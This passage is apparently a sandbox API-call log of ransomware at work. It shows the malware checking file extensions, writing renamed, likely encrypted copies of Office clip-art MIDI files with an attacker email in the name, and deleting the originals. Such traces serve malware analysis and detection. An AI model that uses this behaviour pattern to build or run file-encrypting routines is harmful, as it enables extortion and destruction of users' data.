	[0180.311] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0180.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0180.311] lstrlenW (lpString=".jpg") returned 4
	[0180.311] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0180.312] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0180.312] lstrlenW (lpString="JNGLE_01.MID") returned 12
	[0180.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0180.312] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=5843) returned 1
	[0180.313] CloseHandle (hObject=0x36c) returned 1
	[0180.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 0x220
	[0180.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0180.313] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.314] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0180.315] GetLastError () returned 0x0
	[0180.315] ReadFile (in: hFile=0x36c, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x16d3, lpOverlapped=0x0) returned 1
	[0180.317] WriteFile (in: hFile=0x5c4, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x16e0, lpOverlapped=0x0) returned 1
	[0180.318] ReadFile (in: hFile=0x36c, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.318] WriteFile (in: hFile=0x5c4, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.318] SetEndOfFile (hFile=0x5c4) returned 1
	[0180.318] CloseHandle (hObject=0x5c4) returned 1
	[0180.318] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.318] SetEndOfFile (hFile=0x36c) returned 1
	[0180.321] CloseHandle (hObject=0x36c) returned 1
	[0180.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.321] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 1
	[0180.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0180.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0180.322] lstrlenW (lpString=".doc") returned 4
	[0180.322] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0180.322] lstrlenW (lpString=".docx") returned 5
	[0180.322] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0180.322] lstrlenW (lpString=".pdf") returned 4
	[0180.322] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0180.322] lstrlenW (lpString=".xls") returned 4
	[0180.322] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0180.322] lstrlenW (lpString=".xlsx") returned 5
	[0180.322] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0180.322] lstrlenW (lpString=".ppt") returned 4
	[0180.322] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0180.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0180.322] lstrlenW (lpString=".zip") returned 4
	[0180.322] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0180.322] lstrlenW (lpString=".rar") returned 4
	[0180.322] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0180.322] lstrlenW (lpString=".bz2") returned 4
	[0180.322] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0180.322] lstrlenW (lpString=".7z") returned 3
	[0180.322] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0180.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0180.322] lstrlenW (lpString=".dbf") returned 4
	[0180.323] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0180.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0180.323] lstrlenW (lpString=".1cd") returned 4
	[0180.323] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0180.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0180.323] lstrlenW (lpString=".jpg") returned 4
	[0180.323] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0180.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0180.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0180.323] lstrlenW (lpString=".doc") returned 4
	[0180.323] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0180.323] lstrlenW (lpString=".docx") returned 5
	[0180.323] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0180.323] lstrlenW (lpString=".pdf") returned 4
	[0180.323] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0180.323] lstrlenW (lpString=".xls") returned 4
	[0180.323] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0180.323] lstrlenW (lpString=".xlsx") returned 5
	[0180.323] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0180.323] lstrlenW (lpString=".ppt") returned 4
	[0180.323] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0180.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0180.323] lstrlenW (lpString=".zip") returned 4
	[0180.323] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0180.323] lstrlenW (lpString=".rar") returned 4
	[0180.323] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0180.323] lstrlenW (lpString=".bz2") returned 4
	[0180.323] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0180.323] lstrlenW (lpString=".7z") returned 3
	[0180.323] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0180.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0180.323] lstrlenW (lpString=".dbf") returned 4
	[0180.324] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0180.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0180.324] lstrlenW (lpString=".1cd") returned 4
	[0180.324] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0180.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0180.324] lstrlenW (lpString=".jpg") returned 4
	[0180.324] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0180.324] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0180.324] lstrlenW (lpString="MUSIC_01.MID") returned 12
	[0180.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0180.340] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=6880) returned 1
	[0180.350] CloseHandle (hObject=0x5c4) returned 1
	[0180.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 0x220
	[0180.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0180.648] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.648] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0181.515] GetLastError () returned 0x0
	[0181.515] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x1ae0, lpOverlapped=0x0) returned 1
	[0181.520] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x1af0, lpOverlapped=0x0) returned 1
	[0181.521] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.521] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.521] SetEndOfFile (hFile=0x590) returned 1
	[0181.522] CloseHandle (hObject=0x590) returned 1
	[0181.522] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.522] SetEndOfFile (hFile=0x5bc) returned 1
	[0181.524] CloseHandle (hObject=0x5bc) returned 1
	[0181.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0181.526] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 1
	[0181.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0181.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0181.527] lstrlenW (lpString=".doc") returned 4
	[0181.527] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0181.527] lstrlenW (lpString=".docx") returned 5
	[0181.527] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0181.527] lstrlenW (lpString=".pdf") returned 4
	[0181.527] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0181.527] lstrlenW (lpString=".xls") returned 4
	[0181.527] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0181.527] lstrlenW (lpString=".xlsx") returned 5
	[0181.527] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0181.527] lstrlenW (lpString=".ppt") returned 4
	[0181.527] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0181.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0181.527] lstrlenW (lpString=".zip") returned 4
	[0181.527] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0181.527] lstrlenW (lpString=".rar") returned 4
	[0181.527] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0181.527] lstrlenW (lpString=".bz2") returned 4
	[0181.527] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0181.527] lstrlenW (lpString=".7z") returned 3
	[0181.527] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0181.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0181.527] lstrlenW (lpString=".dbf") returned 4
	[0181.527] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0181.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0181.527] lstrlenW (lpString=".1cd") returned 4
	[0181.527] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0181.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0181.527] lstrlenW (lpString=".jpg") returned 4
	[0181.527] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0181.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0181.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0181.528] lstrlenW (lpString=".doc") returned 4
	[0181.528] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0181.528] lstrlenW (lpString=".docx") returned 5
	[0181.528] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0181.528] lstrlenW (lpString=".pdf") returned 4
	[0181.528] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0181.528] lstrlenW (lpString=".xls") returned 4
	[0181.528] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0181.528] lstrlenW (lpString=".xlsx") returned 5
	[0181.528] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0181.528] lstrlenW (lpString=".ppt") returned 4
	[0181.528] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0181.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0181.528] lstrlenW (lpString=".zip") returned 4
	[0181.528] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0181.528] lstrlenW (lpString=".rar") returned 4
	[0181.528] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0181.528] lstrlenW (lpString=".bz2") returned 4
	[0181.528] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0181.528] lstrlenW (lpString=".7z") returned 3
	[0181.528] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0181.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0181.528] lstrlenW (lpString=".dbf") returned 4
	[0181.528] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0181.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0181.528] lstrlenW (lpString=".1cd") returned 4
	[0181.528] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0181.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0181.528] lstrlenW (lpString=".jpg") returned 4
	[0181.528] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0181.529] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0181.529] lstrlenW (lpString="PAPER_01.MID") returned 12
	[0181.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0181.530] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=6763) returned 1
	[0181.530] CloseHandle (hObject=0x5bc) returned 1
	[0181.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 0x220
	[0181.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0181.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0181.531] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.531] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0181.531] GetLastError () returned 0x0
	[0181.532] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x1a6b, lpOverlapped=0x0) returned 1
	[0181.533] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x1a70, lpOverlapped=0x0) returned 1
	[0181.534] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.534] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.534] SetEndOfFile (hFile=0x590) returned 1
	[0181.535] CloseHandle (hObject=0x590) returned 1
	[0181.535] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.535] SetEndOfFile (hFile=0x5bc) returned 1
	[0181.537] CloseHandle (hObject=0x5bc) returned 1
	[0181.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0181.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 1
	[0181.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0181.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0181.539] lstrlenW (lpString=".doc") returned 4
	[0181.539] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0181.539] lstrlenW (lpString=".docx") returned 5
	[0181.539] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0181.539] lstrlenW (lpString=".pdf") returned 4
	[0181.539] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0181.539] lstrlenW (lpString=".xls") returned 4
	[0181.539] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0181.539] lstrlenW (lpString=".xlsx") returned 5
	[0181.539] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0181.539] lstrlenW (lpString=".ppt") returned 4
	[0181.539] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0181.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0181.539] lstrlenW (lpString=".zip") returned 4
	[0181.539] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0181.539] lstrlenW (lpString=".rar") returned 4
	[0181.539] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0181.539] lstrlenW (lpString=".bz2") returned 4
	[0181.539] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0181.539] lstrlenW (lpString=".7z") returned 3
	[0181.539] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0181.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0181.539] lstrlenW (lpString=".dbf") returned 4
	[0181.539] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0181.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0181.539] lstrlenW (lpString=".1cd") returned 4
	[0181.539] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0181.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0181.539] lstrlenW (lpString=".jpg") returned 4
	[0181.539] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0181.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0181.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0181.540] lstrlenW (lpString=".doc") returned 4
	[0181.540] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0181.540] lstrlenW (lpString=".docx") returned 5
	[0181.540] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0181.540] lstrlenW (lpString=".pdf") returned 4
	[0181.540] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0181.540] lstrlenW (lpString=".xls") returned 4
	[0181.540] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0181.540] lstrlenW (lpString=".xlsx") returned 5
	[0181.540] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0181.540] lstrlenW (lpString=".ppt") returned 4
	[0181.540] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0181.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0181.540] lstrlenW (lpString=".zip") returned 4
	[0181.540] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0181.540] lstrlenW (lpString=".rar") returned 4
	[0181.540] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0181.540] lstrlenW (lpString=".bz2") returned 4
	[0181.540] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0181.540] lstrlenW (lpString=".7z") returned 3
	[0181.541] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0181.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0181.541] lstrlenW (lpString=".dbf") returned 4
	[0181.541] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0181.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0181.541] lstrlenW (lpString=".1cd") returned 4
	[0181.541] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
